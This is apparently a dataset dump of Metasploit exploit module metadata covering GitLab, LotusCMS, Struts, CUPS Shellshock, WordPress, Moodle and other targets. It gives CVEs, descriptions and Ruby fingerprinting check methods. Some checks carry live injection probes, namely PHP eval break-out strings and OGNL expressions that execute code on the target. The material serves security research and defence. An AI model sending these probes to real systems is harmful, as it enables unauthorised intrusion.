deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Gitlab-shell Code Execution
Type: exploit
Path: modules/exploits/multi/http/gitlab_shell_exec.rb
Platform: linux
Disclosure date: 2013-11-04
References: URL-https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/, CVE-2013-4490
Targets: Linux, Linux (x64), Unix (CMD), Python

Description:
This module takes advantage of the addition of authorized
          ssh keys in the gitlab-shell functionality of Gitlab. Versions
          of gitlab-shell prior to 1.7.4 used the ssh key provided directly
          in a system call resulting in a command injection vulnerability. As
          this relies on adding an ssh key to an account, valid credentials
          are required to exploit this vulnerability.

Check method (fingerprinting):
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
    if res && res.body && res.body.include?('GitLab')
      return Exploit::CheckCode::Detected('The target service was detected')
    elsif res
      return Exploit::CheckCode::Safe('GitLab not detected in the response')
    else
      return Exploit::CheckCode::Unknown('No response received from the target')
    end
  end
Metasploit Module: LotusCMS 3.0 eval() Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/lcms_php_exec.rb
Disclosure date: 2011-03-03
References: CVE-2011-0518, OSVDB-75095, URL-http://web.archive.org/web/[PII_REDACTED]1808/http://secunia.com:80/secunia_research/2011-21

Description:
This module exploits a vulnerability found in Lotus CMS 3.0's Router()
          function.  This is done by embedding PHP code in the 'page' parameter,
          which will be passed to a eval call, therefore allowing remote code execution.

          The module can either automatically pick up a 'page' parameter from the
          default page, or manually specify one in the URI option.  To use the automatic
          method, please supply the URI with just a directory path, for example: "/lcms/".
          To manually configure one, you may do: "/lcms/somepath/index.php?page=index"

Check method (fingerprinting):
target_url
    if @uri.empty? or @arg.empty?
      vprint_error("Unable to get the page parameter, please reconfigure URI")
      return
    end

    signature = rand_text_alpha(rand(10) + 10)
    stub = "${print('#{signature}')};"
    sploit = "');#{stub}#"
    response = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => @uri,
        'data' => @arg + Rex::Text.uri_encode(sploit)
      }, 20
    )

    if response and response.body =~ /#{signature}/
      vprint_status("Signature: #{signature}")
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      vprint_error("Signature was not detected")
      return Exploit::CheckCode::Safe('The target application was not detected')
    end
  end
Metasploit Module: Fortra GoAnywhere MFT Unsafe Deserialization RCE
Type: exploit
Path: modules/exploits/multi/http/fortra_goanywhere_rce_cve_2023_0669.rb
Platform: unix
Disclosure date: 2023-02-01
References: CVE-2023-0669, URL-https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis, URL-https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html

Description:
This module exploits CVE-2023-0669, which is an object deserialization
          vulnerability in Fortra GoAnywhere MFT.
Metasploit Module: CUPS Filter Bash Environment Variable Code Injection (Shellshock)
Type: exploit
Path: modules/exploits/multi/http/cups_bash_env_exec.rb
Platform: unix
Disclosure date: 2014-09-24
References: CVE-2014-6271, CVE-2014-6278, OSVDB-112004, EDB-34765, URL-https://access.redhat.com/articles/1200223, URL-https://seclists.org/oss-sec/2014/q3/649

Description:
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
          handles external environment variables. This module targets CUPS filters through
          the PRINTER_INFO and PRINTER_LOCATION variables. A valid username and password is
          required to exploit this vulnerability through CUPS.

Check method (fingerprinting):
@cookie = rand_text_alphanumeric(16)
    printer_name = rand_text_alphanumeric(10 + rand(5))
    res = add_printer(printer_name, '')
    if !res
      vprint_error("No response from host")
      return Exploit::CheckCode::Unknown('No response received from the target')
    elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/
      vprint_status("Found CUPS version #{$1}")
    else
      print_status("Target is not a CUPS web server")
      return Exploit::CheckCode::Safe('The target version is not vulnerable')
    end
    if res.body =~ /Set Default Options for #{printer_name}/
      vprint_good("Added printer successfully")
      delete_printer(printer_name)
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'])
      vprint_error("Authentication failed")
    elsif res.code == 426
      vprint_error("SSL required - set SSL true")
    end
    Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
  end

  #
  # Exploit
  #
Metasploit Module: WordPress Backup Migration Plugin PHP Filter Chain RCE
Type: exploit
Path: modules/exploits/multi/http/wp_backup_migration_php_filter.rb
Platform: php
Disclosure date: 2023-12-11
References: CVE-2023-6553, URL-https://github.com/Chocapikk/CVE-2023-6553/blob/main/exploit.py, URL-https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it
Targets: PHP In-Memory, Unix/Linux Command Shell, Windows Command Shell

Description:
This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7).  The vulnerability is
          exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.

          The exploit makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend
          bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend
          a PHP payload to a string which gets evaluated by a require statement, which results in command execution.

Check method (fingerprinting):
return CheckCode::Unknown('The target does not appear to be running WordPress') unless wordpress_and_online?

    wp_version = wordpress_version
    print_status("WordPress Version: #{wp_version}") if wp_version

    # The plugin's official name seems to be Backup Migration however the package filename is "backup-backup"
    check_code = check_plugin_version_from_readme('backup-backup', '1.3.8')

    if check_code.code != 'appears'
      return CheckCode::Safe('The target version is not vulnerable')
    end

    plugin_version = check_code.details[:version]
    print_good("Detected Backup Migration Plugin version: #{plugin_version}")
    CheckCode::Appears('The target appears to be a vulnerable version')
  end
Metasploit Module: Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/struts_dmi_rest_exec.rb
Platform: win
Disclosure date: 2016-06-01
References: CVE-2016-3087, URL-https://www.seebug.org/vuldb/ssvid-91741
Targets: Windows Universal, Linux Universal, Java Universal

Description:
This module exploits a remote command execution vulnerability in Apache Struts
          version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
          Execution can be performed when using REST Plugin with ! operator when
          Dynamic Method Invocation is enabled.

Check method (fingerprinting):
var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    addend_one = rand_text_numeric(rand(1..3)).to_i
    addend_two = rand_text_numeric(rand(1..3)).to_i
    sum = addend_one + addend_two
    flag = Rex::Text.rand_text_alpha(5)

    code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.close()"

    payload = generate_rce_payload(code)
    params_hash = { var_b => flag }

    begin
      resp = send_http_request(payload, params_hash)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown('An error occurred while checking the target')
    end

    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
      Exploit::CheckCode::Vulnerable('Successfully verified remote code execution')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Apache Struts 2 Developer Mode OGNL Execution
Type: exploit
Path: modules/exploits/multi/http/struts_dev_mode.rb
Platform: java
Disclosure date: 2012-01-06
References: CVE-2012-0394, OSVDB-78276, EDB-18329, URL-https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt

Description:
This module exploits a remote command execution vulnerability in Apache
          Struts 2. The problem exists on applications running in developer mode,
          where the DebuggingInterceptor allows evaluation and execution of OGNL
          expressions, which allows remote attackers to execute arbitrary Java
          code. This module has been tested successfully on Struts 2.3.16, Tomcat
          7 and Ubuntu 10.04.

Check method (fingerprinting):
vprint_status("Testing to see if the target can evaluate our Java code...")
    addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two

    res = execute_command("new java.lang.Integer(#{addend_one}+#{addend_two})")

    if res and res.code == 200 and res.body.to_i == sum
      return Exploit::CheckCode::Vulnerable('Successfully executed the injected code')
    end

    if res and res.code == 200 and res.body.to_s =~ /#{sum}/
      vprint_status("Code got evaluated. Target seems vulnerable, but the response contains something else:")
      vprint_line(res.body.to_s)
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
    end

    return CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Rocket Servergraph Admin Center fileRequestor Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb
Platform: linux
Disclosure date: 2013-10-30
References: CVE-2014-3914, ZDI-14-161, ZDI-14-162, BID-67779
Targets: Linux (Native Payload), Linux (CMD Payload), Windows / VB Script, Windows CMD

Description:
This module abuses several directory traversal flaws in Rocket Servergraph Admin
          Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
          allowing a remote attacker to write arbitrary files and execute commands with
          administrative privileges. This module has been tested successfully on Rocket
          ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
          12.04 64 bits.

Check method (fingerprinting):
os = get_os

    if os.nil?
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    Exploit::CheckCode::Appears('The target appears to be vulnerable')
  end
Metasploit Module: WSO2 Arbitrary File Upload to RCE
Type: exploit
Path: modules/exploits/multi/http/wso2_file_upload_rce.rb
Platform: java
Disclosure date: 2022-04-01
References: CVE-2022-29464, URL-https://github.com/hakivvi/CVE-2022-29464, URL-https://twitter.com/wvuuuuuuuuuuuuu/status/[PII_REDACTED]03576833, URL-https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738
Targets: Java Dropper

Description:
This module abuses a vulnerability in certain WSO2 products that allow unrestricted file
          upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and
          above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server
          Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above
          through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),
      'method' => 'POST'
    )

    if res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /WSO2/
      Exploit::CheckCode::Appears('The target appears vulnerable based on response headers')
    else
      Exploit::CheckCode::Unknown('Received an unexpected response from the target')
    end
  end
Metasploit Module: Monstra CMS Authenticated Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/monstra_fileupload_exec.rb
Platform: php
Disclosure date: 2017-12-18
References: CVE-2017-18048, EDB-43348, URL-https://blogs.securiteam.com/index.php/archives/3559, URL-https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1, URL-https://www.youtube.com/watch?v=-ziZ6DELbzw

Description:
MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to remote command execution on the remote server.
          An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
          This module was tested against MonstraCMS 3.0.4.

Check method (fingerprinting):
begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php') })
    rescue
      vprint_error("Unable to access the index.php file")
      return CheckCode::Unknown('Failed to connect to the target')
    end

    if res and res.code != 200
      vprint_error("Error accessing the index.php file")
      return CheckCode::Unknown("Unexpected HTTP status code: #{res.code}")
    end

    if res.body =~ /<\/a>.*?Version (\d+\.\d+\.\d+)/i
      version = Rex::Version.new($1)
      vulnVersion = Rex::Version.new('3.0.4')
      vprint_status("Monstra CMS: #{version}")

      if version > vulnVersion
        return CheckCode::Safe('The target is not running a vulnerable version')
      elsif version == vulnVersion
        return CheckCode::Appears('The target is running a vulnerable version')
      elsif version < vulnVersion
        return CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
      end
    end
  end
Metasploit Module: Apache Tomcat Manager Authenticated Upload Code Execution
Type: exploit
Path: modules/exploits/multi/http/tomcat_mgr_upload.rb
Platform: %w{java linux win}
Disclosure date: 2009-11-09
Authors: rangercha
References: CVE-2009-3843, OSVDB-60317, CVE-2009-4189, OSVDB-60670, CVE-2009-4188, BID-38084, CVE-2010-0557, URL-http://www-01.ibm.com/support/docview.wss?uid=swg21419179, CVE-2010-4094, ZDI-10-214
Targets: Java Universal, Windows Universal, Linux x86

Description:
This module can be used to execute a payload on Apache Tomcat servers that
          have an exposed "manager" application. The payload is uploaded as a WAR archive
          containing a jsp application using a POST request against the /manager/html/upload
          component.

          NOTE: The compatible payload sets vary based on the selected target. For
          example, you must select the Windows target to use native Windows payloads.

Check method (fingerprinting):
res = query_manager
    disconnect

    return CheckCode::Unknown('Could not connect to the target') if res.nil?

    if res.code.between?(400, 499)
      vprint_error("Server rejected the credentials")
      return CheckCode::Unknown('Server rejected the provided credentials')
    end

    return CheckCode::Safe('The target is not vulnerable') unless res.code == 200

    # if res.code == 200
    #   there should be access to the Tomcat Manager and to the status page
    res = query_status
    return CheckCode::Unknown('Could not connect to the target') unless res

    plat = detect_platform(res.body)
    arch = detect_arch(res.body)
    return CheckCode::Unknown('Could not determine platform or architecture from target') unless plat and arch

    vprint_status("Tomcat Manager found running on #{plat} platform and #{arch} architecture")

    store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])

    return CheckCode::Appears('The target appears to be vulnerable based on the response')
  end
Metasploit Module: Auxilium RateMyPet Arbitrary File Upload Vulnerability
Type: exploit
Path: modules/exploits/multi/http/auxilium_upload_exec.rb
Platform: php
Disclosure date: 2012-09-14
References: CVE-2012-10038, OSVDB-85554, EDB-21329
Targets: Generic (PHP Payload), Linux x86

Description:
This module exploits a vulnerability found in Auxilium RateMyPet's. The site
          banner uploading feature can be abused to upload an arbitrary file to the web
          server, which is accessible in the 'banner' directory, thus allowing remote code
          execution.

Check method (fingerprinting):
uri = target_uri.path
    base = File.dirname("#{uri}.")

    res = send_request_raw({
      'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php")
    })
    if res and res.body =~ %r{<title>Pet Rate Admin - Banner Manager</title>}
      return Exploit::CheckCode::Detected('The target service was detected')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: SPIP BigUp Plugin Unauthenticated RCE
Type: exploit
Path: modules/exploits/multi/http/spip_bigup_unauth_rce.rb
Platform: php
Disclosure date: 2024-09-06
References: CVE-2024-8517, URL-https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_2_a_big_upload/, URL-https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-2-SPIP-4-2-16-SPIP-4-1-18.html
Targets: PHP In-Memory, Unix/Linux Command Shell, Windows Command Shell

Description:
This module exploits a Remote Code Execution vulnerability in the BigUp plugin of SPIP.
          The vulnerability lies in the `lister_fichiers_par_champs` function, which is triggered
          when the `bigup_retrouver_fichiers` parameter is set to any value. By exploiting the improper
          handling of multipart form data in file uploads, an attacker can inject and execute
          arbitrary PHP code on the target server.

          This critical vulnerability affects all versions of SPIP from 4.0 up to and including
          4.3.1, 4.2.15, and 4.1.17. It allows unauthenticated users to execute arbitrary code
          remotely via the public interface. The vulnerability has been patched in versions
          4.3.2, 4.2.16, and 4.1.18.

Check method (fingerprinting):
rversion = spip_version || spip_plugin_version('spip')
    return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion

    print_status("SPIP Version detected: #{rversion}")

    vulnerable_ranges = [
      { start: Rex::Version.new('4.0.0'), end: Rex::Version.new('4.1.17') },
      { start: Rex::Version.new('4.2.0'), end: Rex::Version.new('4.2.15') },
      { start: Rex::Version.new('4.3.0'), end: Rex::Version.new('4.3.1') }
    ]

    is_vulnerable = vulnerable_ranges.any? { |range| rversion.between?(range[:start], range[:end]) }

    unless is_vulnerable
      return CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.")
    end

    print_good("SPIP version #{rversion} is vulnerable.")
    plugin_version = spip_plugin_version('bigup')

    unless plugin_version
      print_warning('Could not determine the version of the bigup plugin.')
      return CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
    end

    print_status("Bigup plugin version detected: #{plugin_version}")
    if plugin_version < Rex::Version.new('3.2.12')
      return CheckCode::Appears("Both the detected SPIP version (#{rversion}) and bigup version (#{plugin_version}) are vulnerable.")
    end

    CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
  end

  # This function tests several pages to find a form with a valid CSRF token and its corresponding action.
  # It allows the user to specify
Metasploit Module: Moodle Teacher Enrollment Privilege Escalation to RCE
Type: exploit
Path: modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb
Platform: php
Disclosure date: 2020-07-20
References: CVE-2020-14321, URL-https://moodle.org/mod/forum/discuss.php?d=407393, URL-https://github.com/HoangKien1020/CVE-2020-14321, EDB-50180

Description:
Moodle version 3.9, 3.8 to 3.8.3, 3.7 to 3.7.6, 3.5 to 3.5.12 and earlier unsupported versions
          allow for a teacher to exploit chain to RCE.  A bug in the privileges system allows a teacher
          to add themselves as a manager to their own class. They can then add any other users, and thus
          look to add someone with manager privileges on the system (not just the class).  After
          adding a system manager, a 'loginas' feature is used to access their account.  Next the system
          is reconfigured to allow for all users to install an addon/plugin.  Then a malicious theme
          is uploaded and creates an RCE.

          If all of that is a success, we revert permissions for managers to system default and
          remove our malicoius theme.  Manual cleanup to remove students from the class is required.

          This module was tested against Moodle version 3.9

Check method (fingerprinting):
return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?

    v = moodle_version
    return CheckCode::Detected('Unable to determine moodle version') if v.nil?

    # https://moodle.org/mod/forum/discuss.php?d=407393
    v = Rex::Version.new(v)
    if v.between?(Rex::Version.new('3.9'), Rex::Version.new('3.9.1')) ||
       v.between?(Rex::Version.new('3.8'), Rex::Version.new('3.8.4')) ||
       v.between?(Rex::Version.new('3.7'), Rex::Version.new('3.7.7')) ||
       v.between?(Rex::Version.new('3.5'), Rex::Version.new('3.5.13')) ||
       v.between?(Rex::Version.new('3'), Rex::Version.new('3.5'))
      return CheckCode::Appears("Exploitable Moodle version #{v} detected")
    end

    CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
  end
Metasploit Module: ISPConfig Authenticated Arbitrary PHP Code Execution
Type: exploit
Path: modules/exploits/multi/http/ispconfig_php_exec.rb
Platform: php
Disclosure date: 2013-10-30
References: CVE-2013-3629, URL-https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats

Description:
ISPConfig allows an authenticated administrator to export language settings into a PHP script
          which is intended to be reuploaded later to restore language settings. This feature
          can be abused to run aribitrary PHP code remotely on the ISPConfig server.

          This module was tested against version 3.0.5.2.